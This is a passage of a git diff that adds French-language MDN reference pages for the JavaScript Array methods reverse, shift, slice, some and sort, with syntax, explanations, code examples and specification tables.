+console.log(monArray) // ["trois", "deux", "un"]
+</pre>
+
+<h3 id="Inverser_l'ordre_des_éléments_d'un_objet_semblable_à_un_tableau">Inverser l'ordre des éléments d'un objet semblable à un tableau</h3>
+
+<p>Dans l'exemple suivant, on crée un objet semblable à un tableau <code>a</code> qui contient trois éléments et une propriété <code>length</code>. On appelle ensuite <code>reverse()</code> grâce à <code>call()</code> sur cet objet pour inverser ses éléments :</p>
+
+<pre class="brush: js">const a = {0: 1, 1: 2, 2: 3, length: 3};
+
+console.log(a); // {0: 1, 1: 2, 2: 3, length: 3}
+
+Array.prototype.reverse.call(a); // On aurait pu utiliser apply() également
+
+console.log(a); // {0: 3, 1: 2, 2 : 1, length: 3}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.reverse")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html b/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html
new file mode 100644
index 0000000000..9711ca9d25
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html
@@ -0,0 +1,118 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/shift
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>shift()</code></strong> permet de retirer le <strong>premier</strong> élément d'un tableau et de renvoyer cet élément. Cette méthode modifie la longueur du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.shift()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élément retiré du tableau ou {{jsxref("undefined")}} si le tableau est vide.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>shift</code> retire l'élément situé à l'index zéro et décrémente l'index des éléments suivant avant de retourner l'élément supprimé. Si la propriété {{jsxref("Array.length", "length")}} vaut 0, {{jsxref("undefined")}} est retourné.</p>
+
+<p>Cette méthode est générique et peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets similaires à des tableaux. </p>
+
+<p>Cette méthode n'est pas exploitable pour les objets dont la propriété <code>length</code> ne reflète pas la taille du contenu, ou pour lesquels la propriété <code>length</code> n'est pas définie.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La méthode {{jsxref("Array.prototype.pop()")}} possède un comportement similaire mais retire le dernier élément du tableau (et non le premier).</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Supprimer_un_élément_d'un_tableau">Supprimer un élément d'un tableau</h3>
+
+<p>Le code suivant affiche le tableau <code>mesPoissons</code> avant et après avoir enlevé le premier élément. Il affiche aussi l'élément supprimé :</p>
+
+<pre class="brush:js">var mesPoissons = ["ange", "clown", "mandarin", "chirurgien"];
+
+console.log("mesPoissons avant : " + JSON.stringify(mesPoissons));
+// mesPoissons avant : ["ange","clown","mandarin","chirurgien"]
+
+var premierÉlément = mesPoissons.shift();
+
+console.log("mesPoissons après :", mesPoissons);
+// mesPoissons après : ["clown", "mandarin", "chirurgien"]
+
+console.log("Cet élément a été enlevé :", premierÉlément);
+// "Cet élément a été enlevé : ange"
+</pre>
+
+<h3 id="Utiliser_shift()_dans_une_boucle_while">Utiliser <code>shift()</code> dans une boucle <code>while</code></h3>
+
+<p>La méthode <code>shift()</code> peut être utilisée dans une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/while">while</a></code>. Dans l'exemple suivant, chaque itération de la boucle retire un élément du tableau et l'affiche dans la console, jusqu'à ce que ce dernier soit vide.</p>
+
+<pre class="brush: js">var noms = ["André", "Édouard", "Paul", "Christophe", "Jean"];
+while ( (i = noms.shift()) !== undefined ) {
+  console.log(i);
+}
+// André, Édouard, Paul, Christophe, Jean
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.shift")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html
new file mode 100644
index 0000000000..98dac60521
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html
@@ -0,0 +1,178 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/slice
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>slice()</code></strong> renvoie un objet tableau, contenant une copie superficielle (<em>shallow copy</em>) d'une portion du tableau d'origine, la portion est définie par un indice de début et un indice de fin (exclus). Le tableau original ne sera pas modifié.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.slice()
+<var>arr</var>.slice(<em>début</em>)
+<var>arr</var>.slice(<em>début</em>, <em>fin</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code> {{optional_inline}}</dt>
+ <dd>Indice (à partir de zéro) depuis lequel commencer l'extraction.</dd>
+ <dd>S'il s'agit d'un indice négatif, <code>début</code> indique un décalage depuis la fin de la séquence. Par exemple, <code>slice(-2)</code> extrait les avant-dernier et dernier éléments dans la séquence.<br>
+ <br>
+ Si <code>début</code> est absent, <code>slice()</code> commencera depuis 0. Si <code>début</code> est supérieur à la taille du tableau, c'est un tableau vide qui sera renvoyé.</dd>
+</dl>
+
+<dl>
+ <dt><code>fin</code> {{optional_inline}}</dt>
+ <dd>Indice (à partir de zéro) auquel arrêter l'extraction. <code>slice()</code> extrait jusqu'à cet indice, mais pas l'élément situé en <code>fin</code> lui-même.</dd>
+ <dd><code>slice(1,4)</code> extrait du deuxième au quatrième élément (les éléments d'indices 1, 2 et 3).</dd>
+ <dd>S'il s'agit d'un indice négatif, <code>fin</code> indique un décalage depuis la fin de la séquence. <code>slice(2,-1)</code> extrait du troisième à l'avant-dernier élément dans la séquence.</dd>
+ <dd>Si <code>fin</code> n'est pas fourni, <code>slice()</code> extraira jusqu'à la fin de la séquence (<code>arr.length</code>). Si <code>fin</code> est supérieur à la longueur de la séquence, <code>slice()</code> fera une extraction jusqu'à la fin de la séquence.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau contenant les éléments extraits.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>slice()</code> ne modifie pas le tableau original, mais renvoie une nouvelle copie du tableau (<em>shallow copy</em> — copie superficielle) dont les éléments sont des copies des éléments extraits du tableau original. Les éléments du tableau original sont copiés dans le nouveau tableau de la manière suivante :</p>
+
+<ul>
+ <li>Pour les références à des objets (et non les objets eux-mêmes), <code>slice()</code> copie ces références dans le nouveau tableau. Tant l'original que le nouveau tableau font référence au même objet. Si un objet référencé est modifié, ces changements sont visibles tant pour le nouveau que pour l'ancien tableau.</li>
+ <li>Pour les chaines de caractères, les nombres et les booléens, <code>slice()</code> copie ces chaines de caractères, ces nombres et ces valeurs booléennes dans le nouveau tableau. Les modifications sur ces chaînes, nombres ou booléens dans l'un des tableaux n'affectent pas l'autre tableau (NB : lorsque l'on parle de chaine de caractères, de nombre ou de booléen ici, on parle exclusivement de leur <em>type primitif</em>, pas des <em>objets</em> {{jsxref("String")}}, {{jsxref("Number")}} ou {{jsxref("Boolean")}} — voir par exemple <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String#Les_différences_entre_les_objets_String_et_le_type_primitif_pour_les_chaînes_de_caractères">différences entre objet String et type primitif pour les chaines de caractères</a>).</li>
+</ul>
+
+<p>Si un nouvel élément est ajouté à l'un ou l'autre tableau, le second n'est pas affecté.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Renvoyer_un_fragment_d'un_tableau_existant">Renvoyer un fragment d'un tableau existant</h3>
+
+<pre class="brush: js">var fruits = ["Banane", "Orange", "Citron", "Pomme", "Mangue"];
+var agrumes = fruits.slice(1, 3);
+
+// fruits vaut --&gt; ["Banane", "Orange", "Citron", "Pomme", "Mangue"]
+// agrumes vaut --&gt; ["Orange", "Citron"]</pre>
+
+<h3 id="Utiliser_slice()">Utiliser <code>slice()</code></h3>
+
+<p>Dans l'exemple qui suit, <code>slice()</code> crée un nouveau tableau, <code>nouvelleVoiture</code>, à partir de <code>maVoiture</code>. Chacun d'entre eux contient une référence à l'objet <code>maHonda</code>. Lorsque la couleur de <code>maHonda</code> est changée en bordeaux, les deux tableaux reflètent ce changement.</p>
+
+<pre class="brush: js">// Avec slice, crée nouvelleVoiture depuis maVoiture
+var maHonda = { couleur : "rouge", roues : 4, moteur : { cylindres : 4, capacité : 2.2 } };
+var maVoiture = [maHonda, 2, "excellente condition", "achetée en 1997"];
+var nouvelleVoiture = maVoiture.slice(0, 2);
+
+// Affiche les valeurs de maVoiture, nouvelleVoiture et la couleur de maHonda
+// référencées depuis chacun des tableaux.
+console.log("maVoiture = " + JSON.stringify(maVoiture));
+console.log("nouvelleVoiture = " + JSON.stringify(nouvelleVoiture));
+console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
+console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
+
+// Change la couleur de maHonda.
+maHonda.couleur = "bordeaux";
+console.log("La nouvelle couleur de ma Honda est " + maHonda.couleur);
+
+// Affiche la couleur de maHonda référencées depuis les deux tableaux.
+console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
+console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
+</pre>
+
+<p>Ce script affichera :</p>
+
+<pre class="brush: js">maVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2,
+             "excellente condition", "achetée en 1997"]
+nouvelleVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2]
+maVoiture[0].couleur = rouge
+nouvelleVoiture[0].couleur = rouge
+La nouvelle couleur de ma Honda est bordeaux
+maVoiture[0].couleur = bordeaux
+nouvelleVoiture[0].couleur = bordeaux
+</pre>
+
+<h2 id="Utilisation_avec_les_objets_similaires_aux_tableaux">Utilisation avec les objets similaires aux tableaux</h2>
+
+<p>La méthode <code>slice()</code> peut aussi être appelée pour convertir des objets/collections similaires à des tableaux, en un nouveau tableau. L'objet {{jsxref("Fonctions/arguments", "arguments")}} d'une fonction est un exemple d'objet similaire à un tableau.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Il est possible de lier avec la fonction .<code>call</code> de {{jsxref("Function.prototype")}} et on peut effectuer la réduction avec <code>[].slice.call(arguments)</code> plutôt qu'avec <code>Array.prototype.slice.call</code>. Voici comment on peut simplifier avec {{jsxref("Function.prototype.bind", "bind")}} :</p>
+
+<pre class="brush: js">var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/some/index.html b/files/fr/web/javascript/reference/objets_globaux/array/some/index.html
new file mode 100644
index 0000000000..2d3b197c16
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/some/index.html
@@ -0,0 +1,133 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/some
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>some()</code></strong> teste si au moins un élément du tableau passe le test implémenté par la fonction fournie. Elle renvoie un booléen indiquant le résultat du test.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode renverra <code>false</code>, quelle que soit la condition, si elle est utilisée sur un tableau vide.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-some.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.some(<var>callback</var>[, <var>objetThis</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à tester pour chaque élément du tableau. Cette fonction utilise trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>L'élément du tableau à traiter par la fonction.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>L'indice de l'élément qui est traité par la fonction.</dd>
+  <dt><code>array </code>{{optional_inline}}</dt>
+  <dd>Le tableau sur lequel on a appelé la méthode <code>some</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>objetThis</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel. Il correspond à la valeur à utiliser pour <code>this</code> lors de l'exécution de la fonction <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la fonction <code>callback</code> renvoie une valeur équivalente à <code>true</code> pour au moins un des éléments du tableau, sinon elle renvoie <code>false</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>some()</code> exécute la fonction <code>callback</code> une seule fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle en trouve un pour lequel <code>callback</code> renvoie une valeur équivalente à <code>true</code> dans un contexte booléen. Si un tel élément est trouvé, <code>some()</code> renvoie immédiatement <code>true</code>. Dans le cas contraire, <code>some</code> renvoie <code>false</code>. <code>callback</code> n'est invoquée que pour les indices du tableau auxquels des valeurs sont assignées ; elle n'est pas invoquée pour les indices qui ont été supprimés ou auxquels aucune valeur n'a jamais été assignée.</p>
+
+<p>La fonction <code>callback</code> est invoquée avec trois paramètres : la valeur de l'élément, l'indice de l'élément et l'objet <code>Array</code> parcouru.</p>
+
+<p>Si un paramètre <code>objetThis</code> est fourni à <code>some()</code>, il sera utilisé comme valeur de <code>this</code> pour chaque invocation du <code>callback</code>. Sinon, la valeur  {{jsxref("undefined")}} sera passée pour utilisation comme valeur <code>this</code>. La valeur <code>this</code> finalement utilisée par <code>callback</code> est déterminée en fonction <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">des règles habituelles pour déterminer <code>this</code> pour une fonction</a>.</p>
+
+<p>La méthode <code>some()</code> ne modifie pas le tableau sur lequel elle est appelée.</p>
+
+<p>La liste des éléments traités par <code>some()</code> est définie avant la première invocation du <code>callback</code>. Les éléments qui sont ajoutés au tableau après le début de l'appel à <code>some</code> ne seront pas visités par <code>callback</code>. Si un élément existant non encore visité est modifié par <code>callback</code>, sa valeur passée à <code>callback</code> sera sa valeur au moment où <code>some</code> visite l'indice de cet élément ; les éléments supprimés ne seront pas visités.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tester_la_valeur_des_éléments_d'un_tableau">Tester la valeur des éléments d'un tableau</h3>
+
+<p>L'exemple suivant teste si certains éléments d'un tableau sont plus grands que 10.</p>
+
+<pre class="brush: js">function estAssezGrand(element, indice, array) {
+  return (element &gt;= 10);
+}
+var resultat = [2, 5, 8, 1, 4].some(estAssezGrand);
+// resultat vaut false
+passed = [12, 5, 8, 1, 4].some(estAssezGrand);
+// passed vaut true
+</pre>
+
+<h3 id="Tester_la_valeur_des_éléments_avec_les_fonctions_fléchées">Tester la valeur des éléments avec les fonctions fléchées</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">Les fonctions fléchées </a>permettent d'utiliser une syntaxe plus concise pour réaliser la même opération que l'exemple précédent.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // false
+[12, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // true</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Si on veut vérifier qu'un élément est dans un tableau, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.includes()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html b/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html
new file mode 100644
index 0000000000..a7fb7a8981
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html
@@ -0,0 +1,286 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>sort()</code></strong> trie les éléments d'un tableau, dans ce même tableau, et renvoie le tableau. Par défaut, le tri s'effectue sur les éléments du tableau convertis en chaînes de caractères et triées selon les valeurs des unités de code UTF-16 des caractères.</p>
+
+<p>La complexité en espace mémoire et en temps utilisée pour le tri ne peut pas être garantie car elle dépend de l'implémentation.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.sort()
+<var>arr</var>.sort(fonctionComparaison)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fonctionComparaison</code> {{optional_inline}}</dt>
+ <dd>Ce paramètre optionnel permet de spécifier une fonction définissant l'ordre de tri. Si absente, le tableau est trié selon la valeur de point de code <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_litt%C3%A9raux#Unicode">Unicode</a> de chaque caractère, d'après la conversion en chaine de caractères de chaque élément. Cette fonction prendra deux arguments : le premier élément à comparer et le deuxième élément à comparer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau trié (le tri est effectué sur le tableau courant qui est modifié, aucune copie n'est réalisée).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre <code>fonctionComparaison</code> n'est pas fourni, les éléments qui ne valent pas <code>undefined</code> sont triés en les convertissant en chaines de caractères et en comparant ces chaines selon l'ordre des points de code Unicode. Par exemple, "banane" sera trié avant "cerise", mais "Cerise" arrivera avant "banane" à cause de la majuscule (les majuscules arrivent avant dans la liste). Dans un tri numérique, 9 sera trié avant 80, mais comme ces nombres sont convertis en chaînes de caractères, "80" arrive avant "9" selon l'ordre des unités de code UTF-16. Les éléments valant <code>undefined</code> sont placés à la fin du tableau.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> En UTF-16, les caractères Unicode situés après <code>\uFFFF</code> sont encodés avec deux unités de code <em>surrogates</em> sur l'intervalle <code>\uD800</code>-<code>\uDFFF</code>. Pour comparer les chaînes de caractères entre elles, ce sont les unités de code séparées qui sont prises en compte. Ainsi, le caractère formé par la paire <em>surrogate</em> <code>\uD655 \uDE55</code> sera trié avant le caractère <code>\uFF3A</code>.</p>
+</div>
+
+<p>Si le paramètre <code>fonctionComparaison</code> est fourni, les éléments du tableau (qui ne valent pas <code>undefined</code>) sont triés selon la valeur de retour de la fonction de comparaison. Si <code>a</code> et <code>b</code> sont deux éléments à comparer, alors :</p>
+
+<ul>
+ <li>Si <code>fonctionComparaison(a, b)</code> est inférieur à 0, on trie <code>a</code> avec un indice inférieur à <code>b</code> (<code>a</code> sera classé avant <code>b</code>)</li>
+ <li>Si <code>fonctionComparaison(a, b)</code> renvoie 0, on laisse <code>a</code> et <code>b</code> inchangés l'un par rapport à l'autre, mais triés par rapport à tous les autres éléments. Note : la norme ECMAScript ne garantit pas ce comportement, par conséquent tous les navigateurs (par exemple les versions de Mozilla antérieures à 2003) ne respectent pas ceci.</li>
+ <li>Si <code>fonctionComparaison(a, b)</code> est supérieur à 0, on trie <code>b</code> avec un indice inférieur à <code>a</code>.</li>
+ <li><code>fonctionComparaison(a, b)</code> doit toujours renvoyer le même résultat à partir de la même paire d'arguments. Si la fonction renvoie des résultats incohérents, alors l’ordre dans lequel sont triés les éléments n’est pas défini.</li>
+</ul>
+
+<p>Une fonction de comparaison aura donc généralement la forme suivante :</p>
+
+<pre class="brush: js">function compare(a, b) {
+  if (<em>a est inférieur à b selon les critères de tri</em>)
+     return -1;
+  if (<em>a est supérieur à b selon les critères de tri</em>)
+     return 1;
+  // a doit être égal à b
+  return 0;
+}
+</pre>
+
+<p>Pour comparer des nombres plutôt que des chaînes, la fonction de comparaison peut simplement soustraire <code>b</code> à <code>a</code> (cela fonctionnera si le tableau ne contient pas {{jsxref("NaN")}} ou {{jsxref("Infinity")}}) :</p>
+
+<pre class="brush: js">function compareNombres(a, b) {
+  return a - b;
+}
+</pre>
+
+<p>L'usage des {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",11)}} s'avère très pratique avec la méthode <code>sort()</code> :</p>
+
+<pre class="brush: js">var nombres = [4, 2, 5, 1, 3];
+nombres.sort(function(a, b) {
+  return a - b;
+});
+console.log(nombres);
+// [1, 2, 3, 4, 5]
+</pre>
+
+<p>ECMAScript 2015 permet d'utiliser <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a> et ainsi d'obtenir une syntaxe plus concise :</p>
+
+<pre class="brush: js">let nombres = [4, 2, 5, 1, 3];
+nombres.sort((a, b) =&gt; a - b);
+console.log(nombres);</pre>
+
+<p>Les objets peuvent être triés d'après les valeurs d'une de leurs propriétés.</p>
+
+<pre class="brush: js">var items = [
+  { name: "Edward", value: 21 },
+  { name: "Sharpe", value: 37 },
+  { name: "And", value: 45 },
+  { name: "The", value: -12 },
+  { name: "Magnetic", value: 13 },
